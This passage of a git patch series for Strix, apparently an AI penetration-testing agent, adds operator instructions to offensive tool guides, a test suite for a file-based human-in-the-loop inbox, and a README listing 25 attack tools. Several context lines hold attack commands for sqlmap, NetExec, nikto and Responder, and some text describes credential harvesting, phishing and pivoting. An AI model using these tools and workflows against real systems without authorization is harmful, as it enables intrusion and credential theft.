+`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/john_the_ripper.md b/strix/skills/tools/john_the_ripper.md index 2ffd8ca17..ff500d636 100644 --- a/strix/skills/tools/john_the_ripper.md +++ b/strix/skills/tools/john_the_ripper.md @@ -90,3 +90,21 @@ john --incremental --max-length=8 hashes.txt - Cracked passwords enable authenticated testing across all discovered services - Password pattern analysis informs brute-force strategy for online attacks (Hydra) - Hash format analysis contributes to security assessment of password storage practices + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +john-the-ripper [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/maltego.md b/strix/skills/tools/maltego.md index d2c616203..3bcbab925 100644 --- a/strix/skills/tools/maltego.md +++ b/strix/skills/tools/maltego.md @@ -75,3 +75,21 @@ OSINT and graphical link analysis tool for mapping relationships between people, - Infrastructure relationships inform attack surface prioritization - Employee intelligence supports social engineering assessment with SET - Technology identification guides skill selection for targeted Strix agents + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +maltego [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/metasploit.md b/strix/skills/tools/metasploit.md index 1ee5933ef..2606196b2 100644 --- a/strix/skills/tools/metasploit.md +++ b/strix/skills/tools/metasploit.md @@ -109,3 +109,21 @@ run - Successful shells feed back intelligence (internal IPs, credentials, configs) for further Strix testing - Pivoted network access expands Strix scope to internal web applications - Credential harvesting results inform authentication testing across all discovered services + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +metasploit [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/netexec.md b/strix/skills/tools/netexec.md index d4a82b73d..68609b98b 100644 --- a/strix/skills/tools/netexec.md +++ b/strix/skills/tools/netexec.md @@ -85,3 +85,21 @@ nxc mssql TARGET -u USER -p PASSWORD --local-auth -q "SELECT * FROM master..sysl - Extracted hashes feed into Hashcat/John for offline cracking - Discovered shares and services expand Strix's web application scope - AD enumeration data informs privilege escalation and lateral movement strategy + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +netexec [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/nikto.md b/strix/skills/tools/nikto.md index e5561a22b..d6549eb1a 100644 --- a/strix/skills/tools/nikto.md +++ b/strix/skills/tools/nikto.md @@ -73,3 +73,21 @@ nikto -h TARGET -evasion 1234 -o output.json -Format json - Use found technology versions to load appropriate framework skills - Chain default credentials findings with authentication testing - Discovered backup files and config files feed into information disclosure analysis + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +nikto [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/nmap.md b/strix/skills/tools/nmap.md index 72d4d40da..2c58151fb 100644 --- a/strix/skills/tools/nmap.md +++ b/strix/skills/tools/nmap.md @@ -95,3 +95,21 @@ When the operator provides Nmap output, extract and act on: - Use version info to select appropriate vulnerability skills (e.g., load `nextjs` skill if Next.js detected) - Spawn targeted sub-agents for each discovered service type - Cross-reference open ports with known default service ports for technology identification + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +nmap [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/nuclei.md b/strix/skills/tools/nuclei.md index 7ab4c169d..571f4da9c 100644 --- a/strix/skills/tools/nuclei.md +++ b/strix/skills/tools/nuclei.md @@ -96,3 +96,21 @@ nuclei -l hosts.txt -t network/ -p 21,22,80,443,445,3306,3389,5432,8080 -o netwo - Technology detection results inform which skills to load for sub-agents - Exposed panels feed into Strix proxy for authenticated testing - CVE findings guide Metasploit module selection for the operator + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +nuclei [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/owasp_zap.md b/strix/skills/tools/owasp_zap.md index d830f5dad..d632cd4a4 100644 --- a/strix/skills/tools/owasp_zap.md +++ b/strix/skills/tools/owasp_zap.md @@ -78,3 +78,21 @@ curl "http://localhost:8080/JSON/core/view/alerts/?baseurl=https://TARGET&apikey - API specification import ensures comprehensive API endpoint coverage - ZAP findings complement Strix's manual testing with automated breadth - JSON reports can be parsed to prioritize Strix's exploitation efforts + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +owasp-zap [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/responder.md b/strix/skills/tools/responder.md index e6e01a4f0..36280eb4d 100644 --- a/strix/skills/tools/responder.md +++ b/strix/skills/tools/responder.md @@ -69,3 +69,21 @@ responder -I INTERFACE -Pd - Cracked credentials enable authenticated web application testing via Strix - WPAD captures reveal internal proxy configurations and browsing patterns - Machine account captures inform AD attack strategy (silver tickets, delegation) + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +responder [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/set.md b/strix/skills/tools/set.md index 5b34f3551..7d9e38991 100644 --- a/strix/skills/tools/set.md +++ b/strix/skills/tools/set.md @@ -74,3 +74,21 @@ setoolkit - Harvested credentials feed into authenticated web application testing via Strix - Employee information from theHarvester/OSINT informs phishing target selection - Successful phishing demonstrates risk for security awareness reporting + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +set [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/sqlmap.md b/strix/skills/tools/sqlmap.md index e42d7d45c..983469a98 100644 --- a/strix/skills/tools/sqlmap.md +++ b/strix/skills/tools/sqlmap.md @@ -100,3 +100,21 @@ sqlmap -u "https://TARGET/page" -H "X-Custom: 1*" --level=5 --risk=3 --batch - Extracted credentials feed into authentication testing against all services - Database schema knowledge informs business logic and IDOR testing - Confirmed SQLi with impact is documented via Strix reporting tools + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +sqlmap [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/theharvester.md b/strix/skills/tools/theharvester.md index a3287ffce..660b37db3 100644 --- a/strix/skills/tools/theharvester.md +++ b/strix/skills/tools/theharvester.md @@ -64,3 +64,21 @@ theHarvester -d TARGET_DOMAIN -b all -c -f output.json - Email patterns inform username enumeration against login endpoints - IP ranges define scope for network-level assessment - Employee names help build custom wordlists for credential testing + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +theharvester [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/volatility.md b/strix/skills/tools/volatility.md index 1ce8f8347..b5f6c44bd 100644 --- a/strix/skills/tools/volatility.md +++ b/strix/skills/tools/volatility.md @@ -86,3 +86,21 @@ vol -f memory.dmp windows.vadinfo --pid PID - Discovered credentials enable authenticated testing across networked services - Network connection data reveals internal services for expanded Strix scope - Process and service analysis informs post-exploitation strategy + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +volatility [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/wireshark.md b/strix/skills/tools/wireshark.md index b1fc26764..c133ff9e0 100644 --- a/strix/skills/tools/wireshark.md +++ b/strix/skills/tools/wireshark.md @@ -81,3 +81,21 @@ tshark -r capture.pcap -z follow,tcp,ascii,0 - Cleartext credentials discovered feed into credential reuse testing - DNS analysis reveals internal architecture for expanded testing scope - TLS analysis confirms encryption weaknesses identified by other tools + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +wireshark [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/strix/skills/tools/wpscan.md b/strix/skills/tools/wpscan.md index cf6f883b9..3262a8049 100644 --- a/strix/skills/tools/wpscan.md +++ b/strix/skills/tools/wpscan.md @@ -72,3 +72,21 @@ wpscan --url https://TARGET -e ap,u --plugins-detection passive --random-user-ag - Discovered usernames used for authentication testing against wp-login and XML-RPC - Plugin and theme info informs custom payload crafting for XSS and injection testing - wp-config exposure feeds into credential reuse testing against databases and other services + +## Operator Help + +To provide tool output for this request, save the full command output to the +HIL inbox file indicated by the agent: + +``` +strix/hil/inbox/resp_.txt +``` + +You can also pipe output directly: + +``` +wpscan [OPTIONS] TARGET > strix/hil/inbox/resp_.txt +``` + +The agent will automatically detect and parse the response. See the +`HIL_INBOX_PATH` environment variable to customise the inbox location. diff --git a/tests/hil/__init__.py b/tests/hil/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/tests/hil/test_input_manager.py b/tests/hil/test_input_manager.py new file mode 100644 index 000000000..92f769928 --- /dev/null +++ b/tests/hil/test_input_manager.py @@ -0,0 +1,433 @@ +"""Tests for the Human-in-the-Loop (HIL) file-based input manager.""" + +import threading +import time +from pathlib import Path + +import pytest + +from strix.hil.input_manager import ( + HILTimeoutError, + InputManager, + clear_inbox, + get_inbox_path, + list_pending_requests, + request_input, + wait_for_response, +) +from strix.utils.resource_paths import get_strix_resource_path + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + + +@pytest.fixture +def tmp_inbox(tmp_path: Path) -> Path: + """Create and return a temporary inbox directory for test isolation.""" + inbox = tmp_path / "inbox" + inbox.mkdir() + return inbox + + +# --------------------------------------------------------------------------- +# get_inbox_path +# --------------------------------------------------------------------------- + + +class TestGetInboxPath: + """Tests for the get_inbox_path function.""" + + def test_returns_path_object(self) -> None: + result = get_inbox_path() + assert isinstance(result, Path) + + def test_directory_exists(self) -> None: + result = get_inbox_path() + assert result.is_dir() + + def test_default_is_under_strix_hil(self) -> None: + result = get_inbox_path() + assert result.name == "inbox" + assert result.parent.name == "hil" + + def test_env_override(self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: + custom = tmp_path / "custom_inbox" + monkeypatch.setenv("HIL_INBOX_PATH", str(custom)) + result = get_inbox_path() + assert result == custom + assert result.is_dir() + + def test_env_override_creates_directory( + self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch + ) -> None: + nested = tmp_path / "a" / "b" / "c" + monkeypatch.setenv("HIL_INBOX_PATH", str(nested)) + result = get_inbox_path() + assert result.is_dir() + + +# --------------------------------------------------------------------------- +# request_input +# --------------------------------------------------------------------------- + + +class TestRequestInput: + """Tests for the request_input function.""" + + def test_creates_request_file(self, tmp_inbox: Path) -> None: + path = request_input("abc123", "Run nmap -A target", inbox=tmp_inbox) + assert path.exists() + assert path.name == "req_abc123.txt" + + def test_request_file_contains_prompt(self, tmp_inbox: Path) -> None: + prompt = "Run nmap -sV -sC -O target and paste full output" + request_input("task1", prompt, inbox=tmp_inbox) + content = (tmp_inbox / "req_task1.txt").read_text(encoding="utf-8") + assert content == prompt + + def test_returns_path_of_request_file(self, tmp_inbox: Path) -> None: + result = request_input("t1", "prompt", inbox=tmp_inbox) + assert result == tmp_inbox / "req_t1.txt" + + def test_overwrites_existing_request(self, tmp_inbox: Path) -> None: + request_input("dup", "first prompt", inbox=tmp_inbox) + request_input("dup", "second prompt", inbox=tmp_inbox) + content = (tmp_inbox / "req_dup.txt").read_text(encoding="utf-8") + assert content == "second prompt" + + def test_handles_unicode_prompt(self, tmp_inbox: Path) -> None: + prompt = "Test with unicode: cafe\u0301, \u00fc\u00f6\u00e4, \u4f60\u597d" + request_input("unicode", prompt, inbox=tmp_inbox) + content = (tmp_inbox / "req_unicode.txt").read_text(encoding="utf-8") + assert content == prompt + + def test_handles_large_prompt(self, tmp_inbox: Path) -> None: + prompt = "x" * 100_000 + request_input("large", prompt, inbox=tmp_inbox) + content = (tmp_inbox / "req_large.txt").read_text(encoding="utf-8") + assert len(content) == 100_000 + + +# --------------------------------------------------------------------------- +# wait_for_response +# --------------------------------------------------------------------------- + + +class TestWaitForResponse: + """Tests for the wait_for_response function.""" + + def test_returns_response_content(self, tmp_inbox: Path) -> None: + request_input("r1", "prompt", inbox=tmp_inbox) + (tmp_inbox / "resp_r1.txt").write_text("nmap output here", encoding="utf-8") + result = wait_for_response("r1", inbox=tmp_inbox, timeout=5) + assert result == "nmap output here" + + def test_cleanup_removes_both_files(self, tmp_inbox: Path) -> None: + request_input("r2", "prompt", inbox=tmp_inbox) + (tmp_inbox / "resp_r2.txt").write_text("data", encoding="utf-8") + wait_for_response("r2", inbox=tmp_inbox, timeout=5, cleanup=True) + assert not (tmp_inbox / "req_r2.txt").exists() + assert not (tmp_inbox / "resp_r2.txt").exists() + + def test_no_cleanup_preserves_files(self, tmp_inbox: Path) -> None: + request_input("r3", "prompt", inbox=tmp_inbox) + (tmp_inbox / "resp_r3.txt").write_text("data", encoding="utf-8") + wait_for_response("r3", inbox=tmp_inbox, timeout=5, cleanup=False) + assert (tmp_inbox / "req_r3.txt").exists() + assert (tmp_inbox / "resp_r3.txt").exists() + + def test_timeout_raises_hil_timeout_error(self, tmp_inbox: Path) -> None: + request_input("timeout_test", "prompt", inbox=tmp_inbox) + with pytest.raises(HILTimeoutError, match="No response for task timeout_test"): + wait_for_response( + "timeout_test", inbox=tmp_inbox, timeout=1, poll_interval=1 + ) + + def test_hil_timeout_error_is_timeout_error(self) -> None: + assert issubclass(HILTimeoutError, TimeoutError) + + def test_polls_until_response_appears(self, tmp_inbox: Path) -> None: + """Simulate the operator dropping a response file after a short delay.""" + request_input("delayed", "prompt", inbox=tmp_inbox) + + def _drop_response() -> None: + time.sleep(1) + (tmp_inbox / "resp_delayed.txt").write_text("delayed data", encoding="utf-8") + + thread = threading.Thread(target=_drop_response, daemon=True) + thread.start() + result = wait_for_response( + "delayed", inbox=tmp_inbox, timeout=10, poll_interval=1 + ) + assert result == "delayed data" + thread.join(timeout=5) + + def test_handles_large_response(self, tmp_inbox: Path) -> None: + request_input("big", "prompt", inbox=tmp_inbox) + large_data = "PORT STATE SERVICE VERSION\n" * 10_000 + (tmp_inbox / "resp_big.txt").write_text(large_data, encoding="utf-8") + result = wait_for_response("big", inbox=tmp_inbox, timeout=5) + assert len(result) == len(large_data) + + def test_handles_binary_like_content(self, tmp_inbox: Path) -> None: + request_input("bin", "prompt", inbox=tmp_inbox) + content = "\\x00\\x01\\x02 mixed content \n\ttabs and nulls" + (tmp_inbox / "resp_bin.txt").write_text(content, encoding="utf-8") + result = wait_for_response("bin", inbox=tmp_inbox, timeout=5) + assert result == content + + +# --------------------------------------------------------------------------- +# list_pending_requests +# --------------------------------------------------------------------------- + + +class TestListPendingRequests: + """Tests for the list_pending_requests function.""" + + def test_empty_inbox(self, tmp_inbox: Path) -> None: + result = list_pending_requests(inbox=tmp_inbox) + assert result == [] + + def test_single_pending_request(self, tmp_inbox: Path) -> None: + request_input("p1", "Run nmap", inbox=tmp_inbox) + result = list_pending_requests(inbox=tmp_inbox) + assert len(result) == 1 + assert result[0]["task_id"] == "p1" + assert result[0]["prompt"] == "Run nmap" + + def test_multiple_pending_requests(self, tmp_inbox: Path) -> None: + request_input("a", "first", inbox=tmp_inbox) + request_input("b", "second", inbox=tmp_inbox) + request_input("c", "third", inbox=tmp_inbox) + result = list_pending_requests(inbox=tmp_inbox) + assert len(result) == 3 + task_ids = {r["task_id"] for r in result} + assert task_ids == {"a", "b", "c"} + + def test_excludes_answered_requests(self, tmp_inbox: Path) -> None: + request_input("answered", "prompt", inbox=tmp_inbox) + (tmp_inbox / "resp_answered.txt").write_text("done", encoding="utf-8") + request_input("pending", "still waiting", inbox=tmp_inbox) + result = list_pending_requests(inbox=tmp_inbox) + assert len(result) == 1 + assert result[0]["task_id"] == "pending" + + def test_results_are_sorted_by_task_id(self, tmp_inbox: Path) -> None: + for tid in ["z", "a", "m"]: + request_input(tid, f"task {tid}", inbox=tmp_inbox) + result = list_pending_requests(inbox=tmp_inbox) + ids = [r["task_id"] for r in result] + assert ids == sorted(ids) + + +# --------------------------------------------------------------------------- +# clear_inbox +# --------------------------------------------------------------------------- + + +class TestClearInbox: + """Tests for the clear_inbox function.""" + + def test_empty_inbox_returns_zero(self, tmp_inbox: Path) -> None: + assert clear_inbox(inbox=tmp_inbox) == 0 + + def test_clears_request_files(self, tmp_inbox: Path) -> None: + request_input("c1", "prompt", inbox=tmp_inbox) + request_input("c2", "prompt", inbox=tmp_inbox) + count = clear_inbox(inbox=tmp_inbox) + assert count == 2 + assert list(tmp_inbox.glob("req_*")) == [] + + def test_clears_response_files(self, tmp_inbox: Path) -> None: + (tmp_inbox / "resp_x.txt").write_text("data", encoding="utf-8") + count = clear_inbox(inbox=tmp_inbox) + assert count == 1 + assert list(tmp_inbox.glob("resp_*")) == [] + + def test_clears_both_request_and_response(self, tmp_inbox: Path) -> None: + request_input("both", "prompt", inbox=tmp_inbox) + (tmp_inbox / "resp_both.txt").write_text("data", encoding="utf-8") + count = clear_inbox(inbox=tmp_inbox) + assert count == 2 + + def test_preserves_non_hil_files(self, tmp_inbox: Path) -> None: + (tmp_inbox / "other.txt").write_text("keep me", encoding="utf-8") + (tmp_inbox / ".gitkeep").write_text("", encoding="utf-8") + request_input("del", "prompt", inbox=tmp_inbox) + clear_inbox(inbox=tmp_inbox) + assert (tmp_inbox / "other.txt").exists() + assert (tmp_inbox / ".gitkeep").exists() + + +# --------------------------------------------------------------------------- +# InputManager class +# --------------------------------------------------------------------------- + + +class TestInputManager: + """Tests for the InputManager stateful wrapper.""" + + def test_init_default_inbox(self, tmp_inbox: Path) -> None: + mgr = InputManager(inbox=tmp_inbox) + assert mgr.inbox == tmp_inbox + + def test_ask_creates_request_and_reads_response(self, tmp_inbox: Path) -> None: + mgr = InputManager(inbox=tmp_inbox, default_timeout=5) + # Pre-create response so ask() finds it immediately. + (tmp_inbox / "resp_t1.txt").write_text("result data", encoding="utf-8") + result = mgr.ask("t1", "Run sqlmap") + assert result == "result data" + + def test_ask_records_history(self, tmp_inbox: Path) -> None: + mgr = InputManager(inbox=tmp_inbox, default_timeout=5) + (tmp_inbox / "resp_h1.txt").write_text("out1", encoding="utf-8") + mgr.ask("h1", "p1") + (tmp_inbox / "resp_h2.txt").write_text("out2", encoding="utf-8") + mgr.ask("h2", "p2") + assert len(mgr.history) == 2 + assert mgr.history[0]["task_id"] == "h1" + assert mgr.history[1]["response"] == "out2" + + def test_ask_timeout(self, tmp_inbox: Path) -> None: + mgr = InputManager(inbox=tmp_inbox, default_timeout=1) + with pytest.raises(HILTimeoutError): + mgr.ask("nope", "prompt") + + def test_pending_delegates_to_list_pending(self, tmp_inbox: Path) -> None: + mgr = InputManager(inbox=tmp_inbox) + request_input("m1", "hello", inbox=tmp_inbox) + pending = mgr.pending() + assert len(pending) == 1 + assert pending[0]["task_id"] == "m1" + + def test_clear_delegates_to_clear_inbox(self, tmp_inbox: Path) -> None: + mgr = InputManager(inbox=tmp_inbox) + request_input("d1", "p", inbox=tmp_inbox) + count = mgr.clear() + assert count == 1 + assert list(tmp_inbox.glob("req_*")) == [] + + def test_history_is_copy(self, tmp_inbox: Path) -> None: + mgr = InputManager(inbox=tmp_inbox, default_timeout=5) + (tmp_inbox / "resp_cp.txt").write_text("data", encoding="utf-8") + mgr.ask("cp", "prompt") + h1 = mgr.history + h2 = mgr.history + assert h1 == h2 + assert h1 is not h2 + + +# --------------------------------------------------------------------------- +# Tool skill .md Operator Help section +# --------------------------------------------------------------------------- + + +TOOLS_DIR = get_strix_resource_path("skills") / "tools" + + +class TestToolSkillOperatorHelp: + """Verify all 25 tool skill files have the Operator Help section.""" + + @pytest.fixture + def all_tool_files(self) -> list[tuple[str, str]]: + return [ + (md.stem, md.read_text(encoding="utf-8")) + for md in sorted(TOOLS_DIR.glob("*.md")) + ] + + def test_all_have_operator_help_section( + self, all_tool_files: list[tuple[str, str]] + ) -> None: + for stem, content in all_tool_files: + assert "## Operator Help" in content, ( + f"{stem}.md missing Operator Help section" + ) + + def test_all_mention_hil_inbox( + self, all_tool_files: list[tuple[str, str]] + ) -> None: + for stem, content in all_tool_files: + assert "strix/hil/inbox/resp_" in content, ( + f"{stem}.md missing inbox path reference" + ) + + def test_all_mention_hil_inbox_path_env( + self, all_tool_files: list[tuple[str, str]] + ) -> None: + for stem, content in all_tool_files: + assert "HIL_INBOX_PATH" in content, ( + f"{stem}.md missing HIL_INBOX_PATH env var reference" + ) + + def test_pipe_command_matches_tool_name( + self, all_tool_files: list[tuple[str, str]] + ) -> None: + """The pipe example should reference the tool's own name.""" + for stem, content in all_tool_files: + # Tool name in the md uses hyphens (e.g. aircrack-ng, john-the-ripper) + expected_tool = stem.replace("_", "-") + assert expected_tool in content, ( + f"{stem}.md pipe example does not reference {expected_tool}" + ) + + +# --------------------------------------------------------------------------- +# Config integration +# --------------------------------------------------------------------------- + + +class TestHILConfig: + """Verify the Config class tracks the HIL_INBOX_PATH variable.""" + + def test_hil_inbox_path_in_tracked_vars(self) -> None: + from strix.config.config import Config + + tracked = Config.tracked_vars() + assert "HIL_INBOX_PATH" in tracked + + def test_config_get_hil_inbox_path_default(self) -> None: + from strix.config.config import Config + + # Without env var set, should return None (the class default). + result = Config.get("hil_inbox_path") + assert result is None or isinstance(result, str) + + def test_config_get_hil_inbox_path_env( + self, monkeypatch: pytest.MonkeyPatch + ) -> None: + from strix.config.config import Config + + monkeypatch.setenv("HIL_INBOX_PATH", "/custom/path") + result = Config.get("hil_inbox_path") + assert result == "/custom/path" + + +# --------------------------------------------------------------------------- +# Module-level imports via __init__.py +# --------------------------------------------------------------------------- + + +class TestHILModuleExports: + """Verify the strix.hil package exports all public symbols.""" + + def test_import_from_package(self) -> None: + from strix.hil import ( + HILTimeoutError, + InputManager, + clear_inbox, + get_inbox_path, + list_pending_requests, + request_input, + wait_for_response, + ) + + assert callable(request_input) + assert callable(wait_for_response) + assert callable(list_pending_requests) + assert callable(clear_inbox) + assert callable(get_inbox_path) + assert issubclass(HILTimeoutError, TimeoutError) + assert callable(InputManager) From 6a825d14bb1335d438999ae166f143adef92a1da Mon Sep 17 00:00:00 2001 From: Ubuntu Date: Sun, 1 Mar 2026 23:40:06 +0000 Subject: [PATCH 4/4] Add operator-assisted tools list and HIL inbox documentation to README - List all 25 operator-assisted tools organized by category (recon, exploitation, proxy, cracking, network, AD, RE/forensics) - Add in-depth HIL inbox system documentation with architecture, step-by-step flow, code examples, key features, operator workflow, and configuration details --- README.md | 132 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 132 insertions(+) diff --git a/README.md b/README.md index f46526d4a..2b387a695 100644 --- a/README.md +++ b/README.md @@ -142,6 +142,138 @@ Advanced multi-agent orchestration for comprehensive security testing: --- +## Operator-Assisted Tools + +Strix agents can guide the operator through 25 professional-grade security tools via the Human-in-the-Loop (HIL) system. The agent selects the right tool, generates the exact command, and the operator executes it and drops the output into the inbox for automated analysis. + +### Reconnaissance & Scanning + +- **Nmap** -- Host discovery, port scanning, service/version detection, OS fingerprinting, and NSE vulnerability scripts +- **Nikto** -- Web server vulnerability scanning and misconfiguration detection +- **Nuclei** -- Template-based vulnerability scanning across web applications, networks, and cloud services +- **Gobuster** -- Directory brute-forcing, DNS subdomain enumeration, and virtual host discovery +- **FFUF** -- High-speed web fuzzing for directory discovery, parameter mining, and vhost enumeration +- **theHarvester** -- OSINT gathering of emails, subdomains, IPs, and URLs from public sources +- **WPScan** -- WordPress vulnerability scanning, plugin/theme enumeration, and user discovery +- **Maltego** -- OSINT visualization, entity relationship mapping, and attack surface discovery + +### Exploitation & Post-Exploitation + +- **Metasploit Framework** -- Exploit execution, payload delivery, post-exploitation, and pivoting +- **SQLMap** -- Automated SQL injection detection, exploitation, database enumeration, and data extraction +- **Hydra** -- Online credential brute-forcing against network services (SSH, FTP, HTTP, SMB, etc.) and web forms +- **BeEF** -- Browser exploitation, XSS hook management, and client-side attack delivery +- **SET (Social Engineering Toolkit)** -- Phishing campaigns, credential harvesting, and client-side attacks +- **NetExec** -- Active Directory enumeration, credential validation, and lateral movement +- **Responder** -- LLMNR/NBT-NS/mDNS poisoning and NetNTLM hash capture on local networks + +### Proxy & Web Testing + +- **Burp Suite** -- Intercepting proxy, active scanning, Intruder attacks, and Collaborator out-of-band detection +- **OWASP ZAP** -- Automated web scanning, spidering, fuzzing, and API security testing + +### Password Cracking + +- **Hashcat** -- GPU-accelerated offline password cracking with advanced attack modes (dictionary, mask, rules, combinator) +- **John the Ripper** -- Offline password cracking with wordlists, rules, and automatic hash format detection + +### Network & Wireless + +- **Wireshark** -- Network traffic capture, protocol analysis, and credential extraction +- **Bettercap** -- Network MITM attacks, traffic sniffing, ARP/DNS spoofing, and SSL stripping +- **Aircrack-ng** -- Wireless network auditing, WPA/WPA2 cracking, and rogue AP detection + +### Active Directory + +- **BloodHound** -- AD attack path analysis, privilege escalation mapping, and Kerberoasting target identification + +### Reverse Engineering & Forensics + +- **Ghidra** -- Binary reverse engineering, vulnerability discovery, and firmware analysis +- **Volatility** -- Memory forensics, credential extraction, and process/network analysis + +--- + +## Human-in-the-Loop (HIL) Inbox System + +The HIL inbox is a file-based input system that replaces fragile copy-paste workflows (e.g. piping large Nmap or Metasploit output through terminal `input()` or Caido proxy). It lets the operator drop tool output of any size into a shared directory where the agent automatically picks it up. + +### How It Works + +The HIL system uses a simple request/response file protocol: + +``` +strix/hil/inbox/ + req_.txt <-- Agent writes: what it needs (tool, command, instructions) + resp_.txt <-- Operator writes: full tool output +``` + +**Step-by-step flow:** + +1. The agent determines which tool to run and generates the exact command. +2. The agent creates a request file (e.g. `req_a1b2c3.txt`) containing instructions for the operator. +3. The agent prints the expected response filename and begins polling the inbox. +4. The operator runs the tool and saves output to the response file (e.g. `resp_a1b2c3.txt`). +5. The agent detects the response, reads the full content, parses the results, and continues analysis. +6. Both files are cleaned up automatically after processing (configurable). + +### Usage in Code + +The module provides both standalone functions and a stateful `InputManager` class: + +```python +# Standalone usage +from strix.hil import request_input, wait_for_response + +task_id = "a1b2c3d4" +request_input(task_id, "Run: nmap -sV -sC -O -oX scan.xml TARGET") +output = wait_for_response(task_id, timeout=300) +# Agent now has full Nmap output for parsing + +# Stateful session usage +from strix.hil import InputManager + +mgr = InputManager(default_timeout=600) +result = mgr.ask("task1", "Run: sqlmap -r request.txt --batch --dbs") +# mgr.history tracks all request/response pairs +``` + +### Key Features + +- **No size limits** -- Handles megabytes of tool output that would break terminal copy-paste +- **Persistent** -- Files survive agent restarts; the operator can take their time +- **Configurable inbox path** -- Set `HIL_INBOX_PATH` env var to use any directory +- **Automatic cleanup** -- Request and response files are deleted after processing (opt-out with `cleanup=False`) +- **Pending request tracking** -- `list_pending_requests()` shows unanswered requests so nothing gets lost +- **Full history** -- `InputManager.history` records every completed request/response pair for the session +- **Timeout handling** -- Raises `HILTimeoutError` if the operator does not respond within the configured window + +### Operator Workflow + +When the agent requests tool output, the operator can provide it in two ways: + +```bash +# Option 1: Redirect tool output directly to the response file +nmap -sV -sC TARGET > strix/hil/inbox/resp_a1b2c3d4.txt + +# Option 2: Run the tool, then copy/move the output file +nmap -sV -sC TARGET -oN scan_results.txt +cp scan_results.txt strix/hil/inbox/resp_a1b2c3d4.txt +``` + +The agent will detect the file within seconds and continue automatically. + +### 